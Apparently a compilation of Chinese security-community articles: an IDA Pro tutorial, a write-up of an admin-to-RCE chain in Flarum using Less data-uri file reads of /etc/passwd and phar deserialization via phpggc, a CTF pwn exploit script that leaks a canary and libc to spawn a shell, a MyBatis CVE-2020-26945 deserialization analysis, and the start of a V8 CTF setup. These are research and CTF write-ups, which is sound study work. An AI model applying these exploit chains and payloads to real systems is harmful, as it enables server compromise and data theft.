首先把ida目录中的dbgsrv文件夹中的linux_server64拷贝到Ubuntu的elf的文件夹下，这个elf是64位的所有用的是linux_server64，如果你调试的是32位的程序，你就需要拷贝linux_server
记得给他们权限，然后在终端运行，这个程序的作用就像是连接ida和虚拟机中elf的桥梁
然后再到ida中进行配置：
在菜单栏中选择：debugger-->process options
注意，application和input file 都是填写在虚拟机中的elf的路径，记得要加文件名
而directory 填写elf所在目录，不用加文件名
hostname是虚拟机的ip地址，port是默认的连接端口
parameter和password一般都不用填
设置好了以后点击ok
接着可以直接在反汇编视图中下断点，只要点击左边的小蓝点即可
这时按下快捷键F9，可以直接开始调试
按下快捷键F4，则直接运行到断点处停下
这个就是基本的各个功能区的介绍，上面是我比较喜欢的常用布局，和ida默认的不太一样，想要自定义添加一些视图的话，可以在debugger-->quick
debug view中添加
另外可以在Windows-->save desktop来保持当前的视图布局，以后就可以直接加载使用
下面介绍一些常用的快捷键
`F7` 单步步入，遇到函数，将进入函数代码内部
`F8` 单步步过，执行下一条指令，不进入函数代码内部
`F4` 运行到光标处（断点处）
`F9` 继续运行
`CTRL+F2` 终止一个正在运行的调试进程
`CTRL+F7` 运行至返回,直到遇到RETN（或断点）时才停止.
知道了这些快捷键后，调试起来就比较容易了，ida调试有个比较方便的地方在于能直接看到函数的真实地址，下断点也非常直观易操作
## IDA-python
在IDA的最下面有个不起眼的Output Window的界面，其实是一个终端界面，这里有python终端和IDC终端
这里的python是2.7的版本，虽然老了点，但已经足够我们用了，在IDA的运用中，我们经常需要计算地址，计算偏移，就可以直接在这个终端界面进行操作，非常方便
* * *
当然上面说的只是很简单的python用法，真正的IDA-python的用法是这样的：
这里以简单的一道逆向题来做个例子
这个程序很简单，一开始来个for循环，把judge函数的内容全部异或0xc，这样就导致了程序一运行就会直接破坏掉judge函数
从而使得没法进行后面的flag判断
这里我们就需要写一个脚本来先把被破坏的内容还原，这里IDA提供了两种写脚本操作的方法，一种就是IDC脚本，一种就是python脚本
这里只简单的介绍IDA-python
而IDA-python通过三个python模块将python代码注入IDA中：
idaapi模块负责访问核心IDA API
idc模块负责提供IDA中的所有函数功能
idautils模块负责提供大量实用函数，其中许多函数可以生成各种数据库相关对象的python列表
所有的IDApython脚本会自动导入idc和idautils模块，而idaapi模块得自己去导入
这里贴上IDApython的[官方函数文档](https://www.hex-rays.com/products/ida/support/idapython_docs/)，这里包含了所有函数，值得一看
针对以上的题目，我们只需要做一个脚本，指定judg函数的0-181范围的字节异或0xc，即可恢复
judge=0x600B00
for i in range(182):
addr=0x600B00+i
byte=get_bytes(addr,1)#获取指定地址的指定字节数
byte=ord(byte)^0xC
patch_byte(addr,byte)#打patch修改字节
在菜单栏中file-->script file，加载python脚本
接着在judge函数中undefined掉原来的函数，在重新生成函数（快捷键p），就可以重新f5了
脚本中出现的函数都是已经封装在idc模块中的，具体可查官方文档
这只是一个简单的IDApython的使用例子，实际上这个功能非常强大，能弄出非常骚的操作
## 打PATCH
打patch，其实就是给程序打补丁，本质上是修改程序的数据，指令等，这在CTF中的AWD赛制中经常用到，发现程序漏洞后马上就要用这个功能给程序打好patch，防止其他队伍攻击我们的gamebox
这里，我是用一个叫keypatch的插件进行操作的，IDA自带的patch功能不太好用
### 安装keypatch
这个很简单，教程在[github](https://github.com/keystone-engine/keypatch)就有
下载Keypatch.py复制到插件目录
**IDA 7.0\plugins\Keypatch.py**
下载安装keystone python模块，64位系统只需要安装这一个就行
**<https://github.com/keystone-engine/keystone/releases/download/0.9.1/keystone-0.9.1-python-win64.msi>**
安装好后，你就会发现这里有个keypatch的选项
### 修改程序指令
如果我们要修改程序本身的指令，怎么做呢
如图，我们要修改63h这个值
将鼠标指向改行，按快捷键Ctrl+Alt+K
直接输入汇编语句即可修改，打好patch后效果如图：
这里会生成注释告诉你，这里打过patch，非常人性化
接着还要在菜单栏进行设置才能真正使得patch生效
这样一来，原来的程序就已经被修改了
### 撤销patch
如果不小心打错了patch，就可以在这里进行撤销上一次patch的操作了
但是如果打了很多次patch，不好分清该撤销哪一次的patch，那么可以在菜单栏中打开patched bytes界面
看到所有的patch，要撤销哪一个就右击选择 revert
## IDA导出数据文件
在菜单栏中，这里有个选项可以生成各种不同的输出文件
这里简单的介绍前两个文件，后面的大家可以自己去生成测试一下用途，我这里就不详细介绍了
.map文件描述二进制文件的总体结构，包括与构成改二进制文件的节有关的信息，以及每个节中符号的位置。
.asm文件，也就是汇编了，直接能导出ida中反汇编的结果，这个非常实用，有的时候在逆向中经常遇到大量数据加解密的情况，如果在从IDA中一个个慢慢复制可就太没效率了，直接导出生成asm，在里面复制数据快很多
# IDA常见命名意义
IDA经常会自动生成假名字。他们用于表示子函数，程序地址和数据。根据不同的类型和值假名字有不同前缀
sub _指令和子函数起点
locret_ 返回指令
loc _指令
off_ 数据，包含偏移量
seg _数据，包含段地址值
asc_ 数据，ASCII字符串
byte _数据，字节（或字节数组）
word_ 数据，16位数据（或字数组）
dword _数据，32位数据（或双字数组）
qword_ 数据，64位数据（或4字数组）
flt _浮点数据，32位（或浮点数组）
dbl_ 浮点数，64位（或双精度数组）
tbyte _浮点数，80位（或扩展精度浮点数）
stru_ 结构体(或结构体数组)
algn _对齐指示
unk_ 未处理字节
IDA中有常见的说明符号，如db、dw、dd分别代表了1个字节、2个字节、4个字节
# IDA反编译报错
目前来说， 我遇到的反编译报错的情况，一般是两种
* 一是由于程序存在动态加密，导致程序的某些代码段被修改，从而反编译出错，这种情况，就需要去使用IDA-python解密一波，再进行F5反汇编
* 二是由于某些玄学问题，直接提示了某个地方出错，一般来说，就按照IDA的提示，去进行修改
比如，出现如下报错：
那我们就去找413238这个地址的地方，提示是说sp指针的值没有被找到，说明是这里出错了，那么就去修改sp的值，修改方法如下：
也可以使用快捷键 Alt+K
有的时候，遇到的这种报错
就尝试着把报错的地址的汇编语句改一哈，改成nop，就可以解决问题
目前来说，我遇到报错的情况不多，一般都可以通过以上方法解决
# 配置IDA
在ida的根目录的cfg文件夹是专门用来存储配置文件的
ida的主配置文件为ida.cfg，另外的还有idagui.cfg，idatui.cfg这两个配置文件对应IDA的GUI配置和文本模式的版本
**一、ida.cfg**
该文件包含了option-->general中的所有选项的配置，可以通过选项中的描述在配置文件总找到相应的选项
这里举几个例子：
`SHOW_AUTOCOMMENTS` 表示是否自动生成汇编指令的注释
`GRAPH_SHOW_LINEPREFIXES` 表示是否在流程控制视图中显示地址
`VPAGESIZE`
表示内存调整参数，当处理非常大的输入文件时，IDA可能报告内存不足而无法创建新数据库，在这种情况下增大该参数，重新打开输入文件即可解决问题
`OPCODE_BYTES` 表示要显示的操作码字节数的默认值
`INDENTATION` 表示指令缩进的距离
`NameChars` 表示IDA支持的变量命令使用的字符集，默认是数字+字母还有几个特殊符号，如果需要添加就改变该参数
**二、idagui.cfg**
这个文件主要配置默认的GUI行为，键盘的快捷键等，这个很少需要修改，不做过多介绍。感兴趣的可以自己打开该文件观察，并不难懂，改改快捷键还是很容易的
**三、idatui.cfg**
这个似乎更加不常用。。。不多说了
需要注意的是，以上三个文件是默认配置，也就是说，每次打开创建新的ida数据库的时候，都会以这三个配置文件的设置进行创建，之前临时在菜单栏的设置就会消失，要永久设置ida的配置，就改这三个文件
但，凡是都有例外，在option-->font和option-->colors这两个选项是全局选项，修改一次就永久生效的，不用在以上三个配置文件中改
# 最后
通过这一次系统地去学IDA，发现这个软件真的是非常厉害，我上面也只是简单地记录了平时比较常用的功能和操作，IDA还有很多高级的开发技巧，甚至你还能自定义模块和加载器等，也能自己制作ida的插件，在这个过程中，发现看书真的很重要，自己看书和看网上别人总结的，完全不一样，搞二进制还是得踏踏实实打好基础，所谓万丈高楼平地起。以前觉得天天对着电脑搞这些很累，进步又慢感觉很难，而经历这个黑暗寒假，我才知道这些东西再难也难不过生活，有个安安静静平平稳稳的生活去搞技术又何尝不是一种幸运。
如果其他大佬还有别的IDA小技巧骚操作，可以留言交流一哈 | 社区文章 |
**原文链接：<https://mp.weixin.qq.com/s/EqEyEDKpzxS5BYA_t74p9A>
作者：Phith0n**
> 事先声明：本次测试过程完全处于本地或授权环境，仅供学习与参考，不存在未授权测试过程，请读者勿使用该漏洞进行未授权测试，否则作者不承担任何责任
一次日常测试中，偶然遇到了一个Flarum搭建的论坛，并获得了其管理员账号。本来到这里已经可以算完成了任务，将漏洞报给具体负责的人就结束了，但是既然已经拿到了管理员账号，何不尝试一下RCE呢？
首先，我在管理员后台看到当前Flarum版本是1.3，PHP版本是7.4。Flarum以前没有遇到过，于是问下师傅们有没有历史漏洞，没准就不用费事了：
结果显然是没有，否则也不会有这篇文章了??。
Flarum是一个PHP开源的论坛社区系统，以前有听说过，主要是国外用户较多，所以我也是出国以后才遇到。简单搜了下网上公开的漏洞，确实很少，而且以XSS和越权为主。
我对前后台进行了一系列观察，发现这个论坛CMS默认的功能较少，大部分扩展性由插件实现，但安装插件却只能通过命令行composer。浏览了一遍后台所有的功能，基本都是针对帖子和用户进行管理的：
黑盒没有进展，那么下载源码进行代码审计吧。
## 0x01 代码通读与逻辑梳理
漏洞挖掘前，我阅读了Flarum的代码和扩展开发文档，来进一步了解整个项目的架构与各个部分的使用方法。
接着，我在本地安装好Flarum，完成后有三个目录：
• public：Web根目录，里面只有index.php
• storage：储存runtime文件的目录，里面有session、cache、logs等
• vendor：库文件目录，使用composer安装
所有代码都在vendor中。它使用了很多Laravel和Laminas框架的components，但主体的MVC架构是自己实现的，并大量使用了依赖注入和事件机制（这一点和我之前分析的Cachet有点像，但Cachet是使用的标准Laravel结构，更简单一些），导致我熟悉目录文件结构和数据流转方式就花了很长时间。
现代PHP项目想要getshell，常见的方法有下面几个：
• 文件上传漏洞
• 路由错误导致的函数执行漏洞，比如ThinkPHP 5的两个RCE
• 模板注入漏洞，比如Cachet这个后台getshell
• 反序列化漏洞
文件上传漏洞是传统漏洞了，但如果规范使用Web框架是不太会出现的，特别是现代的Laravel等框架；路由错误导致的函数执行漏洞多出现于上一代的MVC框架，这类框架会将用户输入解析成class
name和method
name再动态调用，而现在的框架路由多是定义一个完整的路由，Flarum也是这样；模板注入漏洞在后台功能中相对较多，有时候甚至直接就是PHP代码（Wordpress）；反序列化漏洞多出现在数据库、session、缓存之类的位置，如果能控制这些地方，可以着重找这相关的功能。
我按照这个思路逐一进行测试。
### 文件上传
首先是文件上传功能，Flarum仅有三处支持文件上传的逻辑，分别是网站Logo、Favicon和用户头像……是的，作为一个论坛社区，发帖默认不支持上传附件和图片，需要安装扩展来实现，而目标站点并没有这类扩展。
看了一下三处图片上传的代码，文件名无法控制，后缀写死成.png，文件内容也会使用GD库转换成png格式保存，可谓是水泄不通了。比如这是上传用户头像的部分代码：
/**
* @param User $user
* @param Image $image
*/
public function upload(User $user, Image $image)
{
if (extension_loaded('exif')) {
$image->orientate();
}
$encodedImage = $image->fit(100, 100)->encode('png');
$avatarPath = Str::random().'.png';
$this->removeFileAfterSave($user);
$user->changeAvatarPath($avatarPath);
$this->uploadDir->put($avatarPath, $encodedImage);
}
这条路堵死，甚至给我后面的漏洞利用也造成了很大困扰。
### 路由问题
Flarum没有动态执行用户传入的类和函数，而是通过router的方式分发路由，比如：
return function (RouteCollection $map, RouteHandlerFactory $route) {
// Get forum information
$map->get(
'/',
'forum.show',
$route->toController(Controller\ShowForumController::class)
);
//...
}
所以我判断路由出问题的可能性较小，就没有细看。
### 模板注入漏洞
我翻了后台页面，并没有发现存在任何有关编辑模板的功能，所以这条路也作罢。
### 反序列化漏洞
经过分析，Flarum中存在反序列化的有两个地方，一是session，二是缓存，但这两个都储存在文件系统中，而我并不能控制文件内容。
终上所述，经过前面的分析，已经大致排除了一些常见的可能导致RCE漏洞的点。
## 0x02 利用CSS渲染读取任意文件
这是我第一次被卡住，但很快我看到了后台的一个功能： **自定义CSS样式** 。
很多CMS都有类似的功能，但Flarum有个有趣的地方是其支持Less语法。
Less是一个完全兼容CSS的语言，并在CSS的基础上提供了很多高级语法与功能，比如CSS中不支持的条件判断与循环，相当于是CSS语言的超集。前端开发者使用Less编写的程序，可以通过编译器转换成合法的CSS语法，提供给浏览器进行渲染。
那么就有趣了，这里支持Less语法，说明这其中存在代码编译的过程，这让我有两个思路：
• 编译过程本身是否存在漏洞，可以用于执行任意代码或命令
• Less语言中是否有一些高危的函数，可以执行代码或命令
Flarum使用了less.php这个第三方库来编译Less，在其README页面可以看到下面这段警告：
> **Security**
>
> The LESS processor language is powerful and including features that can read
> or embed arbitrary files that the web server has access to, and features
> that may be computationally exensive if misused.
> In general you should treat LESS files as being in the same trust domain as
> other server-side executables, such as Node.js or PHP code. In particular,
> it is not recommended to allow people that use your web service to provide
> arbitrary LESS code for server-side processing.
看起来less.php自己也知道在渲染的过程中可能存在一些安全隐患。
我很快在Less语言的文档中找到了这样一个函数：data-uri
在Less中，data-uri函数用于读取文件并转换成data协议输出在css中。看下less.php中相关的实现：
public function datauri( $mimetypeNode, $filePathNode = null ) {
$filePath = ( $filePathNode ? $filePathNode->value : null );
// ...
if ( file_exists( $filePath ) ) {
$buf = @file_get_contents( $filePath );
} else {
$buf = false;
}
// ...
}
一个可以控制完整路径的文件读取漏洞。
尝试在后台修改CSS，读取/etc/passwd：
.test {
content: data-uri('/etc/passwd');
}
然后，在页面源码中找到CSS的地址，搜索`.test`这个样式：
对其中的base64进行解码，可见读取`/etc/passwd`成功：
OK，我现在有了一个任意文件读取漏洞。
## 0x03 phar://反序列化尝试
通过对刚才代码的分析就可以发现，`file_exists`和`file_get_contents`的完整路径可以被控制，也就是说这里可以使用任意协议。幸运的是，目标系统是PHP
7.4，支持使用phar://来构造反序列化，相比起来，PHP 8.0以上就不再支持phar反序列化了。
关于phar://反序列化，可以参考Blackhat 2018的这个议题《It’s a PHP unserialization vulnerability
Jim, but not as we know it》。
phar是PHP中类似于Jar的包格式，而其中保存的metadata信息在读取的时候会被自动反序列化。这样，如果攻击者可以控制文件操作的完整路径，并能够在服务器上上传一个文件，将可以利用phar://协议指向这个文件进而执行反序列化操作。
所以接下来还需要找一个服务器上可控内容的文件（不需要控制文件名或后缀）。这个问题有点像我这篇文章里介绍的“裸文件包含”，但又不完全一样，phar反序列化对文件内容的要求相比起来会更加苛刻。
对于文件包含漏洞来讲，攻击者只需要控制任意一个文件中的一部分即可，对于文件格式、是否有脏字符等没有要求；而phar反序列化场景下，需要这个文件内容满足一定的格式才能成功被加载，进行反序列化。
phar文件可以是下面三种格式：
• zip
• tar
• phar
这三者都是archive格式，可以使用phpgcc这款工具来生成一个phar文件，并将反序列化利用链插入其中：
php phpggc -o evil.phar Monolog/RCE6 system id
因为Flarum使用了monolog，我选择了Monolog/RCE6这条利用链，本地测试可以正常触发反序列化执行命令：
那么现在就需要想办法将这个phar文件上传到服务器上。
Flarum前面分析过，存在三处图片上传的功能，而phar是可以伪造成图片文件格式的，phpggc也贴心地提供了这个功能，`-pj`参数：
php phpggc -pj example.jpg -o evil.jpg Monolog/RCE6 system whoami
使用该参数即可将phar文件和example.jpg图片制作成一个“图片马”，在上传时可以被识别成图片，但使用PHP解析时又可以识别成phar文件。
于是我尝试将payload使用上面的三个接口上传，但试了很多次才想起了之前那段代码：
$encodedImage = $image->fit(100, 100)->encode('png');
寄了，这三个接口都使用GD库调整了图片大小，图片一处理就会把其中附带的phar内容给去掉。虽然之前有过通过GD库处理保留Webshell的图片马构造方法，但那个方法仅限于保留Webshell这样的代码片段，对于phar这种文件格式却无能为力。
还需要找到其他方法可以上传恶意phar文件。
## 0x04 恶意phar文件的构造与写入
这是第二次卡了我很久的点，一直感觉离RCE只差一层窗户纸，但很多时候就是被一层窗户纸给彻底堵死了所有路。
是否可以利用Session或PHP、Nginx的临时文件呢？这些方法要不就是对环境有要求，要不就是需要条件竞争，都不算理想的利用方式，我将其尝试的优先级降到很低，只有在彻底无望的情况下才会去考虑。
去冰箱里拿出vida气泡水喝一口，思考一下我这一步的目标是什么：
**我需要控制一个服务器上的文件，写入我需要的Payload，而且知道文件名，但对文件名和后缀没有要求。**
这时候我想到，前面进行代码审计的时候我阅读了Less生成CSS的过程，发现管理员在后台输入自定义CSS代码的时候将会把渲染完成后的CSS文件写入Web目录的assets/forum.css文件中：
通过这个方法能够控制一个文件中的部分内容了，但好像还差点意思，因为实际思考下来，我遇到了两个难点：
• 用户自定义CSS会被插入到其他内置Less脚本中间，导致编译出的代码前后还会有不可控的其他字符（如上图）
• 用户输入的内容会先校验是否满足Less或CSS的格式，完成后才会被编译成forum.css，且编译过程可能导致字符变化破坏phar文件格式结构
第一点，经过分析发现，Flarum生成的CSS是分成三部分，分别是内置CSS、用户自定义CSS、扩展插件中带的CSS：
也就是说，虽然内置CSS我是完全无法控制的，但我可以通过将所有扩展都禁用来去除第三部分CSS。
禁用所有扩展以后，用户输入的CSS就输出在文件末尾了：
我研究用户自定义内容的输出位置，目的是了解是否可控文件头和文件尾。PHP在解析phar的时候支持三种文件格式，分别是zip、tar和phar。
**对于zip格式**
，我曾在知识星球里介绍过，它的文件头尾都可以有脏字符，通过对偏移量的修复就可以重新获得一个合法的zip文件。但是否遵守这个规则，仍然取决于zip解析器，经过测试，phar解析器如果发现文件头不是zip格式，即使后面偏移量修复完成，也将触发错误：
> internal corruption of phar (truncated manifest header)
当然，这也可能是我修复偏移方式有错误，可以后面再深入研究，暂时认为zip格式无法满足要求。
**对于tar格式** ，如果能控制文件头，即可构造合法的tar文件，即使文件尾有垃圾字符。
**对于phar格式** ，必须控制文件尾，但不需要控制文件头。PHP在解析时会在文件内查找`<?php __HALT_COMPILER();
?>`这个标签，这个标签前面的内容可以为任意值，但后面的内容必须是phar格式，并以该文件的sha1签名与字符串`GBMB`结尾。
可见，因为这里可以控制文件尾，我首先想到使用phar来构造一个恶意文件。但我很快发现了问题：用户输入的内容会先校验是否满足Less或CSS的格式。如果传入一个phar格式的文件，将会直接导致保存出错，无法正常写入文件。
## 0x05 @import的妙用
这个问题我想了很久也没有解决，就在即将放弃之时，我在阅读less.php代码的时候发现另一个有趣的方法，`@import`。
在CSS或Less中，`@import`用于导入外部CSS，类似于PHP中的include：
在Less.php底层，`@import`时有如下判断逻辑：
• 如果发现包含的文件是less，则对其进行编译解析，并将结果输出在当前文件中
• 如果发现包含的文件是css，则不对其进行处理，直接将`@import`这个语句输出在页面最前面
这就比较有趣了，第二种情况居然可以“控制”到文件头，虽然可控的内容只是一个`@import`语句。
于是我继续深入阅读这一部分代码，在解析`@import`语句的代码中，我看到了这样一段if语句：
if ( $this->options['inline'] ) {
// todo needs to reference css file not import
//$contents = new Less_Tree_Anonymous($this->root, 0, array('filename'=>$this->importedFilename), true );
Less_Parser::AddParsedFile( $full_path );
$contents = new Less_Tree_Anonymous( file_get_contents( $full_path ), 0, array(), true );
if ( $this->features ) {
return new Less_Tree_Media( array( $contents ), $this->features->value );
}
return array( $contents );
}
当`$this->options['inline']`为`true`时进入if语句，并使用`file_get_contents`读取此时的URL，直接作为结果返回。而众所周知的是，`file_get_contents`支持`data:`协议，所以我可以通过`data:`协议来控制读取的文件内容。
让`$this->options['inline']`为`true`的条件也很简单，文档中有相关说明：
在`@import`语句后面指定`inline`选项即可。于是，我使用下面这段CSS进行测试：
.test {
width: 1337px;
}
@import (inline) 'data:,testtest';
哈，成功地将`testtest`这串字符串输出在了CSS文件的最开头。
那么，整个利用链就可以串起来了： **通过`@import
(inline)`和`data:`协议的方式可以向assets/forum.css文件的开头写入任意字符，再通过`data-uri('phar://...')`的方式包含这个文件，触发反序列化漏洞，最后执行任意命令。**
## 0x06 漏洞利用成功
因为可控文件头，我选择直接使用phpggc来生成tar格式包：
php phpggc -p tar -b Monolog/RCE6 system "id>success.txt"
然后构造成`@import`的Payload，在后台修改：
此时访问forum.css即可发现文件头已经被控制：
再修改自定义CSS，使用phar协议包含这个文件（可以使用相对路径）：
成功触发反序列化，执行命令`id`写入web目录，完成RCE：
## 0x07 总结
这次漏洞挖掘开始于一次对Flarum后台的测试，通过阅读Flarum与less.php的代码，找到less.php的两个有趣的函数`data-uri`和`@import`，最后通过Phar反序列化执行任意命令。
整个测试过程克服了不少困难，也有一些运气，运气好的点在于，目标PHP版本是7.4，而这是最后一个支持使用phar进行序列化的PHP版本（PHP已安全??）。由于需要管理员权限，所以漏洞并无通用影响，但仅从有趣程度来看，是今年我挖过的最有趣的漏洞之一吧。
最后，打完收工，通知群友，有始有终：
一看时间已4点，天都快亮了……
* * * | 社区文章 |
湖湘杯的pwn比赛很有趣，我做了pwns100的题目，感觉不错，我把wp分享出来，pwns的下载链接是：见附件
把pwns100直接拖入ida中：
main函数：
base64解码函数
输入函数
可以看到read可以输入的字符串可以长达0x200个，这里可造成缓冲区溢出漏洞
这个程序很简单，输入base64字符串输出base64解码之后的字符串
先运行一下程序看一下这个程序干了啥
再看看程序开启了哪些保护:
因为这个程序开了Canary，这个题目的要利用printf泄露这个程序中的Canary，然后再泄露libc的基地址，最后利用溢出重新布置栈空间getshell，因为每次fork,子进程复制父进程的数据空间(数据段)、栈和堆，父、子进程共享正文段。也就是说，对于程序中的数据，子进程要复制一份，但是对于指令，子进程并不复制而是和父进程共享,具体可参考<https://www.cnblogs.com/bwangel23/p/4190043.html这个文章，所以虽然在泄露Canary或者libc的时候使子进程崩溃了，但是不会影响父进程的稳定性>
所以我的exp是
#!/usr/bin/env python
# -*- coding: utf-8 -*- __Auther__ = 'niexinming'
from pwn import *
import base64
context(terminal = ['gnome-terminal', '-x', 'sh', '-c'], arch = 'i386', os = 'linux', log_level = 'debug')
def debug(addr = '0x08048B09'):
raw_input('debug:')
gdb.attach(io, "b *" + addr)
local_MAGIC = 0x0003AC69
io = process('/home/h11p/hackme/huxiangbei/pwns')
#io = remote('104.224.169.128', 18887)
#debug()
#getCanary
payload = 'a'*0x102
io.recvuntil('May be I can know if you give me some data[Y/N]\n')
io.sendline('Y')
io.recvuntil('Give me some datas:\n')
io.send(base64.b64encode(payload))
io.recvline()
myCanary=io.recv()[268:271]
Canary="\x00"+myCanary
print "Canary:"+hex(u32(Canary))
#getlibc
#debug()
payload = 'a'*0x151
io.recvuntil('May be I can know if you give me some data[Y/N]\n')
io.sendline('Y')
io.recvuntil('Give me some datas:\n')
io.send(base64.b64encode(payload))
io.recvline()
mylibc=io.recv()[347:351]
base_libc=u32(mylibc)-0x18637
print "mylibc_addr:"+hex(base_libc)
#pwn
#debug()
MAGIC_addr=local_MAGIC+base_libc
payload = 'a'*0x101+Canary+"a"*0xc+p32(MAGIC_addr)
io.recvuntil('May be I can know if you give me some data[Y/N]\n')
io.sendline('Y')
io.recvuntil('Give me some datas:\n')
io.send(base64.b64encode(payload))
io.interactive()
io.close()
我讲解一下如何获取Canary，因为输入的输入数据会被printf输出，遇到0x00的时候停止输出，如果输入的输入刚刚好覆盖到Canary前面就可以用printf输出Canary了，但是Canary后两位是0x00,所以得到输出之后要补足后两位的0x00
同理也可以用这种方法计算出__libc_start_main和libc的基地址
计算出Canary的值和基地址后，就可以通过溢出让程序程序跳转到MAGIC去了，就可以getshell了，至于MAGIC是啥，大家可以翻一下我以前写的文章：<http://blog.csdn.net/niexinming/article/details/78512274>
最后的效果是： | 社区文章 |
# CVE-2020-26945漏洞分析
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 引言
昨天晚上出了一个和mybatis相关的反序列化高危漏洞，花了小半天时间跟进了一下，做一下分析、复现、利用场景的思考。
## 功能介绍
由于MyBatis从缓存中读取数据的依据与ＳＱＬ的ID相关，而非查询出的对象。
所以，使用二级缓存的目的，不是在多查询间共享查询结果（所有查询中只要存在该对象，就直接从缓存中读取，这是对查询结果的共享，Hibernate中的缓存就是
为了再多个查询中共享查询结果，但是MyBatista不是），而是为了防止同一查询（相同的SQL ID，相同的SQL语句）的反复执行。
二次缓存默认关闭，需要在配置文件中增加setting，
<setting name = "cacheEnabled" value = "true" />
同时需要在mapper配置文件中增加cache标签，
<cache eviction="FIFO" flushInterval="6000" readOnly="false" size="1024"></cache>
配置完成后一条sql反复执行，数据库只会调一次sql。
## 漏洞分析
首先看了一下官方补丁的防护方式，增加了一个反序列化过滤函数，那过滤一定发送在漏洞触发的正前方，
源码全局搜索一下，找到漏洞触发位置，SerializedCache.deserialize
private Serializable deserialize(byte[] value) {
SerialFilterChecker.check();
Serializable result;
try (ByteArrayInputStream bis = new ByteArrayInputStream(value);
ObjectInputStream ois = new CustomObjectInputStream(bis)) {
result = (Serializable) ois.readObject();
} catch (Exception e) {
throw new CacheException("Error deserializing object. Cause: " + e, e);
}
return result;
}
这是一个私有方法，找到内部调用为SerializedCache.getObject
@Override
public Object getObject(Object key) {
Object object = delegate.getObject(key);
return object == null ? null : deserialize((byte[]) object);
}
在该函数上打上断点，启用mybatis的内置二次缓存功能，看一下堆栈，
其实就是如果mybtis开启了二次缓存，那么那个cache会保存在PerpetualCache.cache中，如果下次查询发现调用的sqlid和parameter不变，然后就可以直接去cache里面拿结果，并进行反序列化得出结果返回给前端而不需要再去调用sql了。
着重看一下SerializedCache.getObject，得出下面信息，
1. object对象会被带入deserialize函数进行反序列化。
2. 反序列化的object由`this.delegate.getObject(key);`产生。
跟进getObject函数，发现有一些限制，
public Object getObject(Object key) {
return this.clearWhenStale() ? null : this.delegate.getObject(key);
}
private boolean clearWhenStale() {
if (System.currentTimeMillis() - this.lastClear > this.clearInterval) {
this.clear();
return true;
} else {
return false;
}
}
第一个限制和时间有关，使用不会成功阻碍漏洞触发的关键，相当于与一个刷新时间，时间到了总会返回flase的，使用我这里是把mapper里cache的flushInterval属性设置的大了很多就可以了，而this.delegate为PerpetualCache类型，所以需要去看一下PerpetualCache.getObject函数，
public class PerpetualCache implements Cache {
private final String id;
private final Map<Object, Object> cache = new HashMap();
public PerpetualCache(String id) {
this.id = id;
}
public String getId() {
return this.id;
}
public int getSize() {
return this.cache.size();
}
public void putObject(Object key, Object value) {
this.cache.put(key, value);
}
public Object getObject(Object key) {
return this.cache.get(key);
}
可以看到object的值 其实就是PerpetualCache.cache对应的value，这也应正了官方通告里的一条利用的关键要求： ** _the
attacker found a way to modify entries of the private Map field i.e.
org.apache.ibatis.cache.impl.PerpetualCache.cache and a valid cache key_**
而且还有一个更重要的点，就算可以设置cache，攻击者还需要去将恶意的value对用到系统设置的key中，这个key虽然逻辑不算难，但是信息源自配置文件，因此获取key的值是一个黑盒下很难达到的条件，
由于目前没有找到可以以攻击者身份达成这种条件的方法，所以这里为了达到漏洞复现的目的，我这里暂时使用的是反射来对cache的值做了修改，
首先把断点打在SerializedCache.getObject处,然后在断点处执行下面的代码修改cache的值，
HashMap<Object,Object> expMap = new HashMap<Object, Object>();
FileInputStream fis = new FileInputStream("/Users/glassy/Documents/spring-jndi-master/CommonCollectionClient/payload.ser"); //payload.ser中储存恶意字节码
byte[] byt = new byte[fis.available()];
fis.read(byt);
expMap.put(key,byt); //这个key为传进来的key，直接用省去构造了
Class PerpetualCacheClass = Class.forName("org.apache.ibatis.cache.impl.PerpetualCache");
Field modifiersField = Field.class.getDeclaredField("modifiers");
Field cache = PerpetualCacheClass.getDeclaredField("cache");
modifiersField.setAccessible(true);
modifiersField.setInt(cache, cache.getModifiers() & ~Modifier.FINAL);
cache.setAccessible(true);
cache.set(((FifoCache) ((ScheduledCache) this.delegate).delegate).delegate, expMap);
成功触发了反序列化的RCE，
## 总结
在总结这里面说一下这个漏洞的利用场景，其实最重要的还是在于如何把恶意字节码传入PerpetualCache.cache，在代码层设置这个值得唯一途径是PerpetualCache.putObject，因此需要去做一下代码审计找一找有没有可以通过http请求调用该方法并且参数可控的途径。
还有一种可能就是，cache因为正常功能下会是一次sql查询的值，那么如果在mapper中设置的resultType为一个反序列化可利用的gadget，与此同时它的值又可以由攻击者插入（这样连key都不用去思考怎么构造了），那么就可以顺理成章的在反序列化时造成RCE。不过这个场景也是非常少有的。 | 社区文章 |
# 浅析 V8-turboFan（下）
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
基础概念介绍到这里，接下来我们学习一道CTF题来练练手。
## 六、Google CTF 2018(final) Just-In-Time
### 1\. 简介
Google CTF 2018(final) Just-In-Time 是 v8
的一道基础题，适合用于v8即时编译的入门，其目标是执行`/usr/bin/gnome-calculator`以弹出计算器。在这里我们通过这道题目来学习一下v8的相关概念。
这道题的题解在安全客上有很多，但由于这是笔者初次接触 v8 的题，因此这次我们就详细讲一下其中的细节。
* 题目来源 – [ctftime – task6982](https://ctftime.org/task/6982)
* Just-In-Time 官方附件及其exp – [github](https://github.com/google/google-ctf/tree/master/2018/finals/pwn-just-in-time)
### 2\. 环境搭建
题目给的附件（ctftime中的附件，不是github上的附件）内含一个已编译好的chromium和两个patch文件。
* `nosandbox.patch` : 该文件用于关闭renderer的沙箱机制。
* `addition-reducer.patch` : 本题的重头戏。
* `chromium` ：版本号为`70.0.3538.9`的二进制包（已打patch）
不过由于笔者已经搭了v8的环境，因此决定采用源码编译的方式来编译出一个v8，这样的好处是 **可以更方便的进行调试** 。该题的v8版本为
**7.0.276.3** ，可以通过`chrome://version`来获取，或者去[OmahaProxy CSV
Viewer](https://omahaproxy.appspot.com/)中查询。
# 开代理
sudo service privoxy start
export https_proxy=http://127.0.0.1:8118
export http_proxy=http://127.0.0.1:8118
# 切换chromium版本
cd v8/
git checkout 7.0.276.3 # 如果需要force，则添加-f参数。gclient同样如此。
gclient sync # 这一步需要代理（很重要）,需要N久,取决网速。
# gclient sync完成后再打个patch
git apply ../../../CTF/GoogleCTF2018_Just-In-Time/addition-reducer.patch
# 设置一下编译参数
tools/dev/v8gen.py x64.debug
# 设置允许优化checkbounds
echo "v8_untrusted_code_mitigations = false" >> out.gn/x64.debug/args.gn
# 编译
ninja -C out.gn/x64.debug
